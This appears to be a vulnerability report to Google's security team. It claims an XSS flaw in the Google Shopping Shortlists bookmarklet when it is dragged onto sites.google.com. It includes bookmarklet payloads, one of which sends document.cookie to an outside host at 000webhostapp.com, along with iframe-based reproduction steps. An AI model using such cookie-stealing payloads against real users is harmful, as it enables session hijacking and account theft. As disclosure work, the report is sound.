VULNERABILITY DETAILS

Hi Google Security Team

Site information

Link:https://www.google.com/shopping/shortlists/button?nt=nse

Site description:Drag this button to your bookmarks bar/toolbar in your web browser

Drag this code:javascript:(function() {var methName = '__SHORTLISTS_LOADER' + (new Date().getTime()); function loadShortlist() {window.gapi.load('shortlists', {callback: function() { gapi.shortlists.show(); }});}; if (!(window.gapi && !window.gapi.load)) {window[methName] = function() {loadShortlist(); try {delete window[methName]} catch (e) {window[methName] = null;}}; var s = document.createElement('script'); s.async = true; s.src = 'https://apis.google.com/js/api.js?onload=' + methName; document.getElementsByTagName('head')[0].appendChild(s);} else {loadShortlist();}})();

XSS Vulnerability available

1-Paylaod:alert(document.domain);

javascript:(function() {var methName = '__SHORTLISTS_LOADER' + (new Date().getTime()); function loadShortlist() {window.gapi.load('shortlists', {callback: function() { gapi.shortlists.show(); }});}; if (!(window.gapi && !window.gapi.load)) {window[methName] = function() {loadShortlist(); try {delete window[methName]} catch (e) {window[methName] = null;}}; var s = document.createElement('script'); s.async = true; s.src = 'https://apis.google.com/js/api.js?onload=' + methName; document.getElementsByTagName('head')[0].appendChild(s);} else {loadShortlist();}})();alert(document.domain);

2-Exploitation Payload:alert(window.location.href="https://speed000.000webhostapp.com/index.php?cookie="+ document.cookie);

javascript:(function() {var methName = '__SHORTLISTS_LOADER' + (new Date().getTime()); function loadShortlist() {window.gapi.load('shortlists', {callback: function() { gapi.shortlists.show(); }});}; if (!(window.gapi && !window.gapi.load)) {window[methName] = function() {loadShortlist(); try {delete window[methName]} catch (e) {window[methName] = null;}}; var s = document.createElement('script'); s.async = true; s.src = 'https://apis.google.com/js/api.js?onload=' + methName; document.getElementsByTagName('head')[0].appendChild(s);} else {loadShortlist();}})();alert(window.location.href="https://speed000.000webhostapp.com/index.php?cookie="+ document.cookie);


VERSION
Chrome Version: [Chromium version:61.0.3114.0] + [dev]
Operating System: [Windows 7 Ultimate[Service pack 1]

REPRODUCTION CASE
START XSS POC
1-Click on this link: https://sites.google.com/site/klasiktestyapmak

installed in the site:<iframe src="https://bubirtest.blogspot.de/2017/05/shortlistbutton.html" width="1800" height="1800">iframe</iframe>


2-Drag this button to your bookmarks bar/toolbar in your web browser

Payload(1):alert(document.domain);

javascript:(function() {var methName = '__SHORTLISTS_LOADER' + (new Date().getTime()); function loadShortlist() {window.gapi.load('shortlists', {callback: function() { gapi.shortlists.show(); }});}; if (!(window.gapi && !window.gapi.load)) {window[methName] = function() {loadShortlist(); try {delete window[methName]} catch (e) {window[methName] = null;}}; var s = document.createElement('script'); s.async = true; s.src = 'https://apis.google.com/js/api.js?onload=' + methName; document.getElementsByTagName('head')[0].appendChild(s);} else {loadShortlist();}})();alert(document.domain);


Exploitation Payload(2):alert(window.location.href="https://speed000.000webhostapp.com/index.php?cookie="+ document.cookie);

javascript:(function() {var methName = '__SHORTLISTS_LOADER' + (new Date().getTime()); function loadShortlist() {window.gapi.load('shortlists', {callback: function() { gapi.shortlists.show(); }});}; if (!(window.gapi && !window.gapi.load)) {window[methName] = function() {loadShortlist(); try {delete window[methName]} catch (e) {window[methName] = null;}}; var s = document.createElement('script'); s.async = true; s.src = 'https://apis.google.com/js/api.js?onload=' + methName; document.getElementsByTagName('head')[0].appendChild(s);} else {loadShortlist();}})();alert(window.location.href="https://speed000.000webhostapp.com/index.php?cookie="+ document.cookie);

3-Click to save to short list

Result:XSS Popup(sites.google.com) and Vulnerability in browser

Best Regards:Cem Yıldırım

Good work



 

Deleted: xss.sites.google.com.png 267 KB

	xss.sites.google.com.png 267 KB View Download

Deleted: example.html 114 bytes

example.html 114 bytes View Download